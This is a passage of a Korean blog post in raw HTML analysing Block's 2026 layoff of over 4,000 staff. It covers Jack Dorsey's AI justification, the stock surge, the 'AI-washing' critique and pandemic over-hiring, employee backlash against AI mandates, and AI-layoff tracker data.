&lt;p data-ke-size=&quot;size16&quot;&gt;즉 Block은 &quot;기술 기업&quot;이면서 동시에 &quot;금융 기업&quot;이다. 이 점이 중요하다. 핀테크 기업은 규제 대응, 사기 방지, 고객 서비스 등에서 상당한 인력을 필요로 한다. AI가 이 영역을 정말로 대체할 수 있는지는 별도의 분석이 필요한 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Jack Dorsey는 누구인가 -- CEO의 이력과 맥락&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해고의 배경을 이해하려면 Dorsey라는 인물도 알아야 한다. Jack Dorsey는 2006년 트위터를 공동 창업하고, 2009년 Square(현 Block)를 설립한 실리콘밸리의 대표적 연쇄 창업가이다. 그는 오랫동안 두 회사(트위터와 Square)의 CEO를 동시에 맡아 &quot;과연 한 사람이 두 거대 기업을 이끌 수 있는가&quot;라는 논란의 중심에 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2021년 트위터 CEO에서 물러나고 Block에 집중하면서, Dorsey는 점차 &lt;b&gt;&quot;작고 강한 팀&quot; 철학&lt;/b&gt;을 강조해 왔다. 그는 대규모 조직의 비효율성을 싫어하는 것으로 알려져 있으며, 비트코인과 탈중앙화에 대한 강한 신념을 가진 인물이다. 이런 맥락에서 &quot;AI로 인원을 줄인다&quot;는 선언은 그의 경영 철학과 일맥상통하는 면이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 동시에, 그는 트위터 시절에도 대규모 해고(Elon Musk 인수 후와는 별개로, 그 전에도 여러 차례 구조조정)를 경험한 바 있다. &quot;효율화&quot;와 &quot;해고&quot;를 동일시하는 경향이 있다는 비판도 받아왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;해고 규모와 Dorsey의 발언&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 2월 26일(미국 시간), Block은 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4,000명 이상의 직원을 해고&lt;/b&gt;&lt;/span&gt;한다고 발표했다. 전체 인력 10,000여 명 중 거의 절반에 해당하는 규모다. 해고 후 Block의 직원 수는 &lt;b&gt;6,000명 미만&lt;/b&gt;으로 줄어들게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Jack Dorsey는 소셜 미디어 X에 올린 글에서 이렇게 밝혔다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f5f5f5; padding: 20px 25px; border-radius: 8px; margin: 20px 0; border-left: 4px solid #666; font-style: italic;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Intelligence tools have changed what it means to build and run a company.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;(인텔리전스 도구들이 회사를 세우고 운영한다는 것의 의미 자체를 바꿔놓았다.)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Our business is strong... gross profit continues to grow.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;(우리 사업은 탄탄하다... 매출총이익은 계속 성장하고 있다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dorsey는 사업이 어려워서 해고하는 것이 아니라고 강조했다. AI 도구 덕분에 &lt;b&gt;더 적은 인원으로 같은 일을, 아니 더 많은 일을 할 수 있게 됐다&lt;/b&gt;는 것이 그의 주장이다. 그는 더 나아가 &quot;대부분의 기업들이 1년 안에 같은 결론에 도달할 것&quot;이라며, &quot;솔직하게, 우리의 방식으로 먼저 이 변화를 이끌겠다&quot;고 선언했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주목해야 할 숫자&lt;/b&gt;&lt;br /&gt;- 해고 인원: &lt;b&gt;4,000명 이상&lt;/b&gt; (전체의 약 40~50%)&lt;br /&gt;- 해고 전 직원 수: &lt;b&gt;10,000명 이상&lt;/b&gt;&lt;br /&gt;- 해고 후 직원 수: &lt;b&gt;6,000명 미만&lt;/b&gt;&lt;br /&gt;- 2019년 말 직원 수: &lt;b&gt;약 3,835명&lt;/b&gt; (코로나 전 수준으로의 회귀)&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;(출처: &lt;a href=&quot;https://www.cnbc.com/2026/02/26/block-laying-off-about-4000-employees-nearly-half-of-its-workforce.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC&lt;/a&gt;, &lt;a href=&quot;https://fortune.com/2026/02/27/block-jack-dorsey-ceo-xyz-stock-square-4000-ai-layoffs/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주가 24% 급등의 의미&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4,000명의 생계가 위태로워지는 소식에, 주식 시장은 어떻게 반응했을까? Block의 주가(티커: XYZ)는 발표 당일 시간외 거래에서 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;최대 24% 급등&lt;/b&gt;&lt;/span&gt;했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 주가가 올랐을까? 두 가지 이유가 있다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫째, 비용 절감 기대.&lt;/b&gt; 직원 절반을 줄이면 인건비가 대폭 감소한다. Block은 동시에 연간 조정 주당순이익(EPS) 전망치를 $3.66으로 상향 발표했는데, 이는 애널리스트 예상치 $3.22를 크게 웃도는 수치였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;둘째, &quot;AI 전환&quot; 내러티브.&lt;/b&gt; &quot;비용 절감&quot;이라고 말하면 &quot;사업이 어려운 것 아닌가&quot; 하는 의심을 받지만, &quot;AI 전환&quot;이라고 말하면 &quot;미래 지향적 경영&quot;으로 포장된다. 월스트리트는 AI라는 단어에 프리미엄을 붙여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 명의 해고된 직원이 SNS에 남긴 말이 이 상황을 정확하게 요약한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f5f5f5; padding: 20px 25px; border-radius: 8px; margin: 20px 0; border-left: 4px solid #666; font-style: italic;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;4,000명이 일자리를 잃는 날, 주가가 24% 오른다. 이것이 AI 시대의 현실이다. 주주 가치는 곧 인간 가치의 반대가 되었다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Block 사태 타임라인 요약&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block 해고 사태의 주요 일정을 시간순으로 정리하면 다음과 같다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;날짜&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;사건&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.02.07&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Bloomberg 보도: Block, 직원 최대 10% 감축 시작 (효율화 추진)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2026.02.26&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Block, 4,000명 이상 해고 공식 발표. Dorsey &quot;AI가 회사 운영을 바꿨다&quot; 선언&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.02.26&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Block 주가(XYZ) 시간외 거래에서 최대 24% 급등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.02.27&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Fortune, CNBC, TechCrunch 등 주요 매체 집중 보도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.03.01&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Bloomberg &quot;AI 워싱 의혹&quot; 보도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.03.02&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;CNN &quot;AI는 아직 대량 해고의 주범이 아니다&quot; 보도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.03.05~06&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Anthropic &quot;노동시장 영향&quot; 보고서 발표 (Block 사태와 맞물려 폭발적 관심)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026.03.06&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Fortune &quot;화이트칼라 대공황 가능&quot; 헤드라인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;진행 중&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Inc. 보도: 남은 직원 대상 AI 의무화 정책, 내부 반발&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단 2주 만에 &quot;해고 발표 - 주가 급등 - AI 워싱 논쟁 - Anthropic 보고서 - 대공황 헤드라인&quot;까지 이어진 것이다. AI와 일자리를 둘러싼 논쟁이 얼마나 뜨거운지를 보여주는 타임라인이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 2: 해고 이유 분석 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 해고 이유 분석 -- AI가 진짜 이유인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Dorsey의 공식 논리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dorsey의 주장을 정리하면 이렇다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;논점&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Dorsey의 주장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;해고 이유&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 도구가 업무 효율을 근본적으로 변화시켰다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;사업 상태&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;사업은 강하며, 매출총이익은 계속 성장 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;해고의 성격&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;구조조정이 아닌 &quot;AI 시대 경영 패러다임 전환&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;업계 전망&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;1년 내 대부분의 기업이 같은 결론에 도달할 것&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;전략&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;반응적이 아닌 선제적 전환을 선택한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;표면적으로 보면 합리적이다. AI 기술이 발전하면서 자동화 가능한 업무가 늘어나고, 같은 결과를 더 적은 인원으로 달성할 수 있게 되었다는 논리다. 실제로 Block은 AI를 활용한 코드 리뷰, 고객 서비스 자동화, 사기 탐지 등에 상당한 투자를 해왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;숨겨진 맥락: 코로나 과잉 채용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 숫자가 말해주는 이야기는 조금 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block의 직원 수 변화를 보자:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;시점&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;직원 수&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2019년 말&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;약 3,835명&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;코로나 전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2021~2022년&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;10,000명 이상&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;팬데믹 기간 급격한 채용 확대&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026년 2월 (해고 전)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;10,000명 이상&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;대규모 인원 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2026년 2월 (해고 후)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;&lt;b&gt;6,000명 미만&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;코로나 전 대비 약 1.5배 수준&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 주목할 점은, 해고 후 Block의 직원 수(약 6,000명)가 코로나 이전(약 3,835명)보다는 여전히 &lt;b&gt;약 56% 많다&lt;/b&gt;는 것이다. 다시 말해, 이 해고는 &quot;AI가 사람을 대체한 것&quot;이 아니라, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;팬데믹 기간 과잉 채용한 것을 정상화하는 과정&lt;/b&gt;&lt;/span&gt;일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 패턴은 Block만의 것이 아니다. Meta, Amazon, Google, Salesforce 등 대부분의 빅테크가 2021~2022년에 공격적으로 채용했고, 2023년부터 대규모 해고를 단행해왔다. 차이가 있다면, 2023~2024년에는 &quot;거시경제 불확실성&quot;을 이유로 들었고, 2025~2026년에는 &quot;AI 효율화&quot;를 이유로 들고 있다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;투자자 친화적 내러티브&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HBR이 2025년 12월 실시한 1,006명의 경영진 설문조사에서 충격적인 결과가 나왔다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;채용 관리자의 약 60%가 &quot;AI를 이유로 해고/채용 축소를 설명하는 것이 재정적 이유보다 긍정적으로 받아들여진다&quot;&lt;/b&gt;&lt;/span&gt;고 답한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &quot;우리 회사 사정이 어려워서 자릅니다&quot;보다 &quot;AI로 효율화해서 자릅니다&quot;가 투자자에게 훨씬 좋은 메시지라는 뜻이다. 전자는 기업의 약점을 드러내고, 후자는 &quot;미래 지향적 경영&quot;으로 포장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fortune은 이를 &lt;b&gt;&quot;AI 워싱과 영원한 해고(AI-washing and forever layoffs)&quot;&lt;/b&gt;라는 제목의 기사에서 다루었는데, 기업들이 수익이 증가하는 중에도 계속 해고를 단행하며 AI를 구실로 삼는 현상을 지적했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직원 반발과 AI 의무화 논란&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해고만으로 끝나지 않았다. Inc. 매체의 보도에 따르면, Block은 해고 후 남은 직원들에게 &lt;b&gt;AI 도구 사용을 의무화(AI mandates)&lt;/b&gt;하는 정책을 시행했다. 이에 대해 상당한 내부 반발이 발생했다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직원들의 불만은 크게 세 가지로 요약된다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫째, 절차적 문제.&lt;/b&gt; 4,000명을 해고한 직후에 남은 직원들에게 &quot;AI를 반드시 써라&quot;고 하면, 이는 &quot;AI를 쓰지 않으면 다음 해고 대상이 될 수 있다&quot;는 암묵적 위협으로 받아들여진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;둘째, 현실과의 괴리.&lt;/b&gt; 경영진은 &quot;AI가 업무를 혁신한다&quot;고 하지만, 실무에서 AI를 적용해 본 직원들은 &quot;아직 한계가 많다&quot;는 것을 체감하고 있다. &quot;위에서는 AI가 만능인 것처럼 말하는데, 실제로 써보면 절반은 수작업으로 수정해야 한다&quot;는 불만이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;셋째, 심리적 충격.&lt;/b&gt; 동료 절반이 하루아침에 사라진 상황에서 바로 업무 방식 변경을 강요당하는 것은, 남은 직원들의 사기와 충성도에 심각한 타격을 준다. 이른바 &lt;b&gt;&quot;생존자 증후군(Survivor's Syndrome)&quot;&lt;/b&gt; -- 해고를 면한 직원들이 겪는 죄책감, 불안, 동기 저하 -- 이 우려되는 상황이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사례는 중요한 교훈을 준다. AI 전환은 단순히 도구를 바꾸는 것이 아니라, &lt;b&gt;조직 문화와 인간 심리를 함께 관리해야 하는 복합적 과제&lt;/b&gt;라는 것이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://hbr.org/2026/01/companies-are-laying-off-workers-because-of-ais-potential-not-its-performance&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HBR, 2026년 1월&lt;/a&gt;, &lt;a href=&quot;https://fortune.com/2026/02/10/ai-washing-and-forever-layoffs-why-companies-keep-cutting-jobs-even-amid-rising-profits/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune, 2026년 2월&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 3: 글로벌 AI 해고 현황 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 글로벌 AI 해고 현황 (jobgonetoai.com 데이터)&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2026년 AI 해고 트래커&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block의 사례는 빙산의 일각이다. &lt;a href=&quot;https://www.jobgonetoai.com/tracker&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jobgonetoai.com&lt;/a&gt;은 AI를 이유로(직접적, 부분적, 또는 암시적으로) 해고, 구조조정, 채용 동결을 발표한 기업들을 추적하고 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;jobgonetoai.com 주요 수치 (2026년 3월 7일 기준)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;- 추적 대상 기업 수: &lt;b&gt;58개사&lt;/b&gt;&lt;br /&gt;- AI 관련 해고/구조조정 영향 인원: &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;156,499명&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;이 수치는 AI가 직접적, 부분적, 또는 암시적으로 해고의 원인으로 언급된 경우를 포함한다. 모든 해고가 순수하게 AI에 의한 것은 아닐 수 있다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;(출처: &lt;a href=&quot;https://www.jobgonetoai.com/tracker&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jobgonetoai.com&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15만 명이 넘는 수치는 상당하지만, 맥락이 중요하다. 2025년 한 해 동안 미국에서 발표된 전체 감원 수는 약 120만 건이었고, 이 중 AI가 명시적으로 언급된 것은 약 55,000건(4.5%)이었다. 2026년 들어 이 비율이 빠르게 증가하고 있는 추세다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;jobgonetoai.com 데이터를 읽는 방법&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;이 트래커의 수치를 해석할 때 주의할 점이 있다:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. &quot;AI 관련&quot;의 범위가 넓다.&lt;/b&gt; AI가 해고의 &quot;직접적 원인&quot;인 경우뿐 아니라, &quot;부분적&quot; 또는 &quot;암시적&quot;으로 언급된 경우도 포함한다. 즉, CEO가 실적 발표에서 &quot;AI 효율화를 추진 중&quot;이라고 말한 뒤 해고를 발표하면, 해당 해고가 AI와 직접 관련이 없더라도 트래커에 포함될 수 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 이중 계산 가능성이 있다.&lt;/b&gt; 한 기업이 여러 차례에 걸쳐 해고를 발표하면, 각각 별도로 집계될 수 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 그럼에도 추세는 분명하다.&lt;/b&gt; 2024년 대비 2025~2026년에 &quot;AI&quot;를 해고 이유로 언급하는 기업의 수 자체가 급격히 증가했다. 이는 실제 AI 대체가 늘어났든, AI 워싱이 늘어났든, 혹은 둘 다이든 간에 주목할 만한 변화다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI 해고의 타임라인 -- 어떻게 여기까지 왔나&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 관련 해고가 본격화된 흐름을 시간순으로 정리하면 다음과 같다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;시기&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 사건&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;해고 명분&lt;/th&gt;
&lt;/tr&gt;
